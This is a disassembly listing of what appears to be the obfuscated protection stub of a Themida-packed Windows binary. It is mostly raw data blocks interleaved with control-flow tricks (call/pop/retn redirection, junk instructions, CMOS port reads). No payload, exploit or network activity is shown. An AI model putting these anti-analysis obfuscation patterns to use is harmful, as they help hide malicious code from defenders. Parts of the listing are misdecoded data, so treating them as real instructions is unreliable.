dd 6A061031h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 32A7C357h, 5D420C7Ch, 0E898B520h
dd 13h, 8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 5FD5AAACh
db 90h
; ---------------------------------------------------------------------------
loc_58963D: ; DATA XREF: Themida_:0054D190o
mov eax, 12345678h
push 0
push edx
call sub_58964D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58964D proc near ; CODE XREF: Themida_:00589645p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_58964D endp
; ---------------------------------------------------------------------------
db 0BDh, 57h, 56h
dd 8E230966h, 8DF8B70Fh, 13E1D29Dh, 0F894E906h, 6AFFFFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0E9FA22C3h, 11h, 7FC4CFE2h, 8EDB4017h, 0F2E84F74h, 0B52A75BDh
dd 8195899Ah, 0E9061009h, 9, 28FB8F8Eh, 6946BAE4h, 0EBC18BA8h
dd 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 16C14A6Dh, 24BF66B1h, 51006ABCh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 305B692Bh, 5F254979h, 0E860539Dh, 0Ch, 0B88E57E5h, 5671DB19h
dd 82984D08h, 83BF69BFh, 0F88B5E0Bh, 0B9858D61h, 6A061013h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 80ECC356h, 518F4481h, 6CC51EAEh, 702588BEh
dd 28CABF06h, 8D895A4Bh, 6100A85h, 8B665090h, 6A90F3h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 66FBBDC3h, 0BE6624C4h, 6AF6B7h, 4880Fh, 0BF660000h
dd 6AD4B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 5EC35141h, 0B2A8B1Dh, 66F147F8h, 7F21F681h, 0E421858Dh
dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 8BF401C3h, 0B58BC6A3h, 6101D29h, 0BE05C083h
dd 7B8BE655h, 0FABE6690h, 6A9050BFh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 5157C357h
dd 0ED48A5C6h, 99BD89D5h, 6A061031h, 29006A00h, 10106D95h
dd 1995FF06h, 8B06101Dh, 1007F1B5h, 6810F06h, 8B000000h
dd 100FE5B5h, 0D89D8D06h, 6A0613AFh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 2216C350h
dd 0E179589Bh, 9E998h, 0F3370000h, 2BF1542Dh, 38BF315h
dd 1013F1B5h, 66D3FF06h, 85FFF38Bh, 6101419h, 0DD4E9h
dd 0E800h, 815D0000h, 13E42BEDh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0D22F725Bh
dd 37DB2776h, 840Fh, 8F0F0000h, 9, 3830Fh, 0B70F0000h
dd 55BD81FFh, 0D0061000h, 0F000007h, 16B86h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 2AC1632h, 81669B56h, 8B0E65EFh, 1005299Dh, 0E1B58B06h
dd 81061007h, 100E3h, 2D852900h, 0B06100Bh, 0EF850FDBh
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 8B7EC357h, 176140DDh, 0E252BD83h
dd 0F000613h, 7C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 360B78F1h, 0BE66B606h
dd 0C1E9D1FEh, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 60E4C350h, 9E8h, 75B46400h
dd 67D5459Bh, 0BF0FB159h, 8F0F5FFAh, 16h, 11E9h, 0E13E0100h
dd 0D2949F77h, 2B0FC7Dh, 0AD684932h, 2361D81Dh, 100A49B5h
dd 5285C706h, 10613E2h, 81000000h, 438397DFh, 5AE913h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0A64F2C3h, 0DDD72CBAh, 37E7D34h, 101BA1BDh
dd 0AA6BBE06h, 85C70869h, 613E252h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_589A2F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589A2F proc near ; CODE XREF: Themida_:00589A27p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_589A2F endp
; ---------------------------------------------------------------------------
aad 6Bh
jbe short loc_589A91
cld
lea ebx, [ebp+6100529h]
and dword ptr [ebx], 0FFFFFEFFh
mov bx, ds
push 0
push edx
call sub_589A5E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589A5E proc near ; CODE XREF: Themida_:00589A56p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_589A5E endp
; ---------------------------------------------------------------------------
dw 0C611h
dd 650F2F65h, 6610BB2Eh, 0F500F681h, 0F04C3F6h, 5784h
dd 52006A00h, 3E8h, 0C35A2000h
; ---------------------------------------------------------------------------
pop edx
loc_589A91: ; CODE XREF: Themida_:00589A41j
mov [esp+4], edx
add dword ptr [esp+4], 15h
inc edx
push edx
retn
; ---------------------------------------------------------------------------
sbb eax, 0F98B6652h
push eax
mov di, 0D5E9h
pop edi
call dword ptr [ebp+6100DC9h]
jnp loc_589AB9
mov esi, ecx
loc_589AB9: ; CODE XREF: Themida_:00589AB1j
nop
push edx
pusha
mov si, 0E77Ah
mov ch, 9Bh
popa
pop edi
push eax
jmp loc_589AD9
; ---------------------------------------------------------------------------
dw 0DAF4h
dd 6DAAF4FAh, 80A3AD7Eh, 0A06DECDEh
db 77h
; ---------------------------------------------------------------------------
loc_589AD9: ; CODE XREF: Themida_:00589AC5j
nop
mov edi, esi
jmp loc_589E98
; ---------------------------------------------------------------------------
jmp loc_589AF0
; ---------------------------------------------------------------------------
dw 4080h
dd 14E998EAh, 561A6EFAh
; ---------------------------------------------------------------------------
loc_589AF0: ; CODE XREF: Themida_:00589AE1j
mov al, 0
call sub_589B01
push edx
inc esi
mov cl, 0BCh
sbb eax, 1D0BD591h
xchg eax, esi
; =============== S U B R O U T I N E =======================================
sub_589B01 proc near ; CODE XREF: Themida_:00589AF2p
mov [ebp+61015EDh], esi
pop edi
out 70h, al ; CMOS Memory:
; used by real-time clock
clc
xor [ebp+61004CDh], edx
in al, 71h ; CMOS Memory
push 0
push edi
call sub_589B1E
and [edi-3Dh], bl
sub_589B01 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_589B1E proc near ; CODE XREF: sub_589B01+15p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_589B1E endp
; ---------------------------------------------------------------------------
dw 247Eh
dd 8D0F7Eh, 89000000h, 10107995h, 8DBD8B06h, 0F061006h
dd 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 71C88C3h, 7C3AEDCh, 6F7BE66h, 6BAh, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 8B30216Ah, 4E8C1C3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 28C35343h, 6646BAE4h, 6AE2F7h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 85891DC3h, 6100809h, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0B7E403C3h, 0C7C93890h
dd 8BD950F6h, 1022A9B5h, 6E806h, 0F5EE0000h, 6D45236Eh
dd 9E853h, 7DE60000h, 9FDC2628h, 5F547AA3h, 89505F5Eh
dd 8529241Ch, 61015C1h, 55B5FFh, 12E80610h, 0E7000000h
dd 6E09FB5Eh, 8A1FC4EFh, 78CE0FB2h, 8663F27Eh, 0D1B531CFh
dd 5E06102Fh, 31C995FFh, 9D890610h, 6101C6Dh, 0B58900B0h
dd 6100559h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 71E418C3h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 0C7C35040h, 9F7C932Bh, 0B70F7803h
dd 0F613CFAh, 1E783h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 4DE0CB8Ch, 0F5350900h
dd 2A059D89h, 0F78B0610h, 8BD8B60Fh, 1009B1B5h, 6BA06h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 5A9210C3h, 0AD2FF379h, 0C38BB88Ah, 23E9BD8Bh
dd 0E8C10610h, 50006A04h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 9A46ED8Bh, 897D1FEDh
dd 1010C185h, 0E2F76606h, 0BE8h, 37809200h, 96B6AA8Fh
dd 0C6507D1Eh, 7599501h, 2B5F0610h, 0FD8D89D8h, 58061006h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 85C35646h
dd 0EE81664Ch, 0D82B212Ah, 10A880Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5EECA1C3h
dd 2DD1B58Bh, 0B52B0610h, 610088Dh, 0B9FA8B66h, 7, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 99DFE30Bh
dd 660D7A12h, 83F9F88Bh, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0D1555EC3h, 0B79A30E6h
dd 0BE153276h, 376EB34Ch, 0D93BF08Bh, 7A860Fh, 0BF0F0000h
dd 0D98C66FEh, 0F04C1F6h, 5D84h, 0AC10BF00h, 95FF1744h
dd 6100DC9h, 5BFABF0Fh, 1925BD23h, 0C32B0610h, 173261BEh
dd 5DB50350h, 3D061004h, 834h, 30860Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 6022CDC3h, 60B578ABh, 0E9B2EEC4h, 14h, 2111BD33h, 0C08B0610h
dd 0E959D89h, 0B5230610h, 6100B0Dh
; ---------------------------------------------------------------------------
loc_589E98: ; CODE XREF: Themida_:00589ADCj
mov eax, ebx
mov ebx, eax
push 0
push edx
call sub_589EA7
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589EA7 proc near ; CODE XREF: Themida_:00589E9Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_589EA7 endp
; ---------------------------------------------------------------------------
daa
push ebx
cmp ebp, 0FFFFFFB5h
jz loc_589EC4
mov edi, edx
loc_589EC4: ; CODE XREF: Themida_:00589EBCj
jmp loc_589ED3
; ---------------------------------------------------------------------------
db 3Ch, 16h, 0C6h
dd 5534F5ECh
db 2Fh, 0BFh, 81h
; ---------------------------------------------------------------------------
loc_589ED3: ; CODE XREF: Themida_:loc_589EC4j
mov dword ptr [ebp+6102381h], 5247ADD9h
call near ptr loc_589EEE+1
or ah, [esi]
db 2Eh
jbe short near ptr word_589F32
loc_589EE7: ; CODE XREF: Themida_:00589EE9j
in eax, dx
push es
jnb short loc_589EE7
db 2Eh
in al, dx
popf
loc_589EEE: ; CODE XREF: Themida_:00589EDDp
adc cl, [ecx+102FADBDh]
push es
pop edi
mov eax, eax
push 0
push ebp
call sub_589F03
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589F03 proc near ; CODE XREF: Themida_:00589EFBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_589F03 endp
; ---------------------------------------------------------------------------
db 2Ah
dd 0C0ECA379h, 0CF816668h, 9D01CDC4h, 61009E5h, 55BD81h
dd 7D00610h, 850F0000h
db 29h, 0
word_589F32 dw 0 ; CODE XREF: Themida_:00589EE4j
; ---------------------------------------------------------------------------
mov esi, [ebp+6101D49h]
inc dword ptr [ebp+6100055h]
push 0
push ecx
call sub_589F4B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589F4B proc near ; CODE XREF: Themida_:00589F43p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_589F4B endp
; ---------------------------------------------------------------------------
db 5Ch
dd 55B5FF64h, 6A061000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 1758C355h, 13445563h
dd 31C995FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 89A608C3h, 1013F1B5h, 83409006h
dd 101061BDh, 840F0006h, 0C0h, 2969BD83h, 0F000610h, 0B384h
dd 9BD8B00h, 0FF061023h, 10106195h, 0DE906h, 5CAC0000h
dd 0FBD09F93h, 68A0988Bh, 0BD00CCAh, 8D840FC0h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 89F1C356h, 1004A995h, 14E906h, 0DAA30000h
dd 0EC97343Fh, 71AD74F4h, 9B6688F0h, 3B41A81Ch, 8D8D481Ch
dd 6104E85h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 34C35545h, 0E063341Bh, 6860F75h, 8B000000h, 100901BDh
dd 81665706h, 5EFFE7E7h, 5B8h, 68D0F00h, 8B000000h, 1012C1BDh
dd 0BEE1FF06h, 53F2A8C9h, 22D5BD83h, 0F000610h, 5B984h
dd 69BD8300h, 61029h, 5AC840Fh, 8D290000h, 6101189h, 0BE5BD8Bh
dd 8D8D0610h, 6100BF5h, 8899D29h, 1C70610h, 44B27C84h
dd 14E8h, 7F38F600h, 9CA68A7Bh, 348C24F4h, 414EB7E2h, 1C35C661h
dd 0D99D8922h, 5F06101Dh, 81F0B70Fh, 99CFCB01h, 0D0BF6614h
dd 441C7D2h, 0CE706B34h, 0F6E68166h, 4418138h, 31D6D710h
dd 14E5BD01h, 6A0610h, 23619589h, 858D0610h, 6100BF5h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AAC35747h
dd 18B58D31h, 90F50610h, 0F0BE6650h, 9D31909Fh, 6101079h
dd 22D595FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0AF2A07C3h, 8D8D09ABh, 6100BF5h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C5C35242h
dd 0F3B3A438h, 0C0B86F49h, 5619589h, 0B70F0610h, 1C7FAh
dd 52000000h, 1E1BD2Bh, 0C75F0610h, 441h, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 81047CC3h, 0A622E3E0h, 840FC00Bh, 81h, 1331BD8Bh, 8D8D0610h
dd 6104E85h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 2C35040h, 8BAA2C3Fh, 1022C9BDh, 5B806h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 2ACC21C3h, 0D371CE26h, 0E1FFD3FAh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 59C35545h, 8BF98BC3h, 100205BDh
dd 0F58D8D06h, 0BE06100Bh, 36158328h, 727C01C7h, 0B58B44AAh
dd 6100C51h, 12E9h, 5613F300h, 0B69D282Ah, 2E5F2067h, 0C21D1FCDh
dd 81A89D52h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 41C72280h, 78753C04h
dd 0BF0F60CEh, 51BD8BC1h, 61061029h, 10044181h, 6A31D6D7h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0A9E6C353h, 57F987A1h, 0FE9B2h, 2CA60000h
dd 39B54323h, 7F84B43h, 642B7AE8h, 60006AADh, 0BB97CFBFh
dd 59B58B6Bh, 61061016h, 0BF5858Dh, 89500610h, 57BE2404h
dd 813D21FAh, 9A3A93EEh, 0D595FF27h, 6A061022h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 5301C353h, 47C031F5h, 0E852AB49h, 11h, 46DF6AC6h, 2BA31E64h
dd 0E03B352Fh, 0C45D7E9Dh, 0F2B70F95h, 8D8D5E5Eh, 6100BF5h
dd 0F8D8589h, 1C70610h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_58A377
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A377 proc near ; CODE XREF: Themida_:0058A36Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_58A377 endp
; ---------------------------------------------------------------------------
db 7Fh
; ---------------------------------------------------------------------------
mov dword ptr [ecx+4], 0
or [ebp+6100FEDh], ebx
or eax, eax
jz loc_58A461
push 0
push edx
call sub_58A3A8
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A3A8 proc near ; CODE XREF: Themida_:0058A3A0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_58A3A8 endp
; ---------------------------------------------------------------------------
dd 0BAE18B82h, 4CCD5DD1h, 279DBD2Bh, 0DE80610h, 0A8000000h
dd 687135EDh, 58CD9165h, 36B3F9EBh, 8E9h, 0F04C1900h, 60D167DDh
dd 8D8D5F00h, 6104E85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0AEC35343h, 5A67C091h, 81660D3Ch, 0E882B5F6h
dd 12h, 25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah, 0F08B8270h
dd 5B85Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 1C3B41C3h, 0BF0FFA48h, 52E1FFFFh
dd 880F52h, 5F000000h
; ---------------------------------------------------------------------------
pop esi
loc_58A461: ; CODE XREF: Themida_:0058A397j
lea ecx, [ebp+6100BF5h]
push 0
push ebp
call sub_58A472
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A472 proc near ; CODE XREF: Themida_:0058A46Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_58A472 endp
; ---------------------------------------------------------------------------
wait
mov dword ptr [ecx], 54CA95A5h
push 0
push edi
call sub_58A494
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A494 proc near ; CODE XREF: Themida_:0058A48Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_58A494 endp
; ---------------------------------------------------------------------------
fisubr word ptr [eax-18h]
push edi
pop esi
add dword ptr [ecx], 1499CFCBh
mov esi, [ebp+6100C21h]
mov dword ptr [ecx+4], 0CE5F5969h
push ecx
pop esi
add dword ptr [ecx+4], 31D6D710h
mov [ebp+6101E0Dh], esi
mov esi, 1EB51CCh
push 0
push 0
push eax
call sub_58A4DD
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A4DD proc near ; CODE XREF: Themida_:0058A4D5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_58A4DD endp
; ---------------------------------------------------------------------------
db 19h, 7Fh, 52h
dd 20BF9B38h, 8D6FCD94h, 100BF585h, 0B1BD8B06h, 50061021h
dd 1C410BFh, 24048934h, 241DBD33h, 95FF0610h, 61022D5h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5EC35242h
dd 45DB8D75h, 8D962D15h, 100BF58Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 11E9EBh, 444D0000h
dd 1B7A38CBh, 9FB3F0C2h, 8B827D30h, 0C7D1BAE1h, 1, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0E4901315h, 9254F862h, 441C7h, 8B000000h, 103091B5h
dd 0FC00B06h, 9184h, 0D5858900h, 8D06102Fh, 104E858Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 5B8891Bh, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 9EEBC350h
dd 0EE6119CEh, 1C8ED385h, 130DB58Bh, 81660610h, 0FF5A89EFh
dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0CDD826DCh, 9448E619h, 890F1185h, 6, 7218589h
dd 0CA030610h, 0FFF248E9h, 51006AFFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 6AC18B89h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 0F7C0C352h, 4EB2105h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_58A697
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A697 proc near ; CODE XREF: Themida_:0058A68Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_58A697 endp
; ---------------------------------------------------------------------------
db 6Dh
; ---------------------------------------------------------------------------
pop ecx
mov esi, 2CBECE73h
mov esi, 7B8E5136h
push 0
push edx
call sub_58A6BE
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A6BE proc near ; CODE XREF: Themida_:0058A6B6p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_58A6BE endp
; ---------------------------------------------------------------------------
xchg eax, ecx
retn 0F3BEh
; ---------------------------------------------------------------------------
push 0FFFFFF9Ah
stc
lea eax, [ebp+61013B9h]
mov esi, [ebp+6101391h]
push eax
jge $+6
mov [esp], eax
xor esi, [ebp+6101CF1h]
push 0
push 0
push ebp
call sub_58A6FE
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A6FE proc near ; CODE XREF: Themida_:0058A6F6p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_58A6FE endp
; ---------------------------------------------------------------------------
jbe short near ptr loc_58A710+3
loc_58A710: ; CODE XREF: Themida_:0058A70Ej
ror dword ptr [ebp-3DF50391h], 0C9h
or edi, [ebp+6100A09h]
push 0
push 0
push esi
call sub_58A72A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A72A proc near ; CODE XREF: Themida_:0058A722p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_58A72A endp
; ---------------------------------------------------------------------------
cmp al, 0FDh
dec eax
lea eax, [ebp+613F3B8h]
sub [ebp+6102E69h], edi
add eax, 5
cmc
mov edi, [ebp+6101D91h]
push eax
mov [esp], eax
push 0
mov esi, 7248130Ah
push 0
push 0
push ebx
call sub_58A76B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A76B proc near ; CODE XREF: Themida_:0058A763p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_58A76B endp
; ---------------------------------------------------------------------------
db 9Fh
dd 0E5FC40E2h, 68AA81EEh, 0ABE66F4h, 0AE8DFh, 1AC20000h
dd 0C9873132h, 0A821F2A4h, 0FF5EF28Bh, 101D1995h, 0D7816606h
dd 85311266h, 6101575h, 0AFD89D8Dh, 6A0613h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 8B7871C3h
dd 0FF4BC507h, 50006AD3h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0E86B7176h, 0Bh, 352B51E2h
dd 0D67E746Fh, 819696FEh, 0B88E9FCFh, 0EE95F4Dh, 2000000h
dd 98B409F1h, 80787083h, 0C9E7DE9Dh, 1985FFC4h, 0E9061014h
dd 8BCh
; ---------------------------------------------------------------------------
loc_58A828: ; DATA XREF: Themida_:0054DC60o
call $+5
pop ebp
sub ebp, 613F3C2h
jmp loc_58A841
; ---------------------------------------------------------------------------
db 0C8h, 8Ah, 75h
dd 0B8983311h
db 73h
; ---------------------------------------------------------------------------
loc_58A841: ; CODE XREF: Themida_:0058A834j
mov esi, edx
cmp dword ptr [ebp+6100055h], 7D0h
jbe loc_58A9E5
push 0
push eax
call sub_58A85E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A85E proc near ; CODE XREF: Themida_:0058A856p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_58A85E endp
; ---------------------------------------------------------------------------
dw 8865h
; ---------------------------------------------------------------------------
mov edi, 1B87D642h
mov [ebp+610073Dh], ecx
mov ebx, [ebp+6102801h]
and ebx, 100h
sub di, 0E236h
or ebx, ebx
jnz loc_58A952
push 0
push ecx
call sub_58A89F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A89F proc near ; CODE XREF: Themida_:0058A897p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_58A89F endp
; ---------------------------------------------------------------------------
db 89h
dd 0BD832991h, 613F21Dh, 3C840F00h, 0E8000000h, 0Bh, 0F2A94955h
dd 0BDC11374h, 660932C2h, 0E95FF28Bh, 0AAh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 89C35141h, 828D5252h
dd 0C7BF5DFBh, 13F21D85h, 106h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 3F2308FCh
dd 59E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 66D87CFEh, 188ECF81h, 0FCF3D781h
; ---------------------------------------------------------------------------
clts
loc_58A952: ; CODE XREF: Themida_:0058A88Ej
mov dword ptr [ebp+613F21Dh], 0
push 0
push ebp
call sub_58A967
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A967 proc near ; CODE XREF: Themida_:0058A95Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_58A967 endp
; ---------------------------------------------------------------------------
mul dword ptr [ecx-64h]
fnstcw word ptr [edx]
sub esp, [esi-72927841h]
popf
add [eax], ebp
adc [esi], al
push 0
push esi
call sub_58A993
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A993 proc near ; CODE XREF: Themida_:0058A98Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_58A993 endp
; ---------------------------------------------------------------------------
db 4Ah
dd 3FC0F946h, 0F600D1Ah, 687h, 840F00h, 80000000h, 0F61B4CFh
dd 2381F7BFh, 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0A4C35646h, 402D8795h
; ---------------------------------------------------------------------------
cmc
loc_58A9E5: ; CODE XREF: Themida_:0058A84Dj
mov bx, ds
push 0
push ecx
call sub_58A9F3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A9F3 proc near ; CODE XREF: Themida_:0058A9EBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_58A9F3 endp
; ---------------------------------------------------------------------------
adc dh, [eax+ebx*8]
sbb ebp, [eax+7Fh]
sub ebp, [ebx-4]
mov di, ax
cld
test bl, 4
jz loc_58AA71
cmc
call dword ptr [ebp+6100DC9h]
add edi, [ebp+6100A19h]
nop
jo loc_58AA3B
jmp loc_58AA3B
; ---------------------------------------------------------------------------
dw 183Ah
dd 7510D3E7h
; ---------------------------------------------------------------------------
scasd
or al, 87h
loc_58AA3B: ; CODE XREF: Themida_:0058AA27j
; Themida_:0058AA2Dj
push eax
jns loc_58AA46
mov di, 4125h
loc_58AA46: ; CODE XREF: Themida_:0058AA3Cj
nop
push 0
push ebx
call sub_58AA52
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58AA52 proc near ; CODE XREF: Themida_:0058AA4Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_58AA52 endp
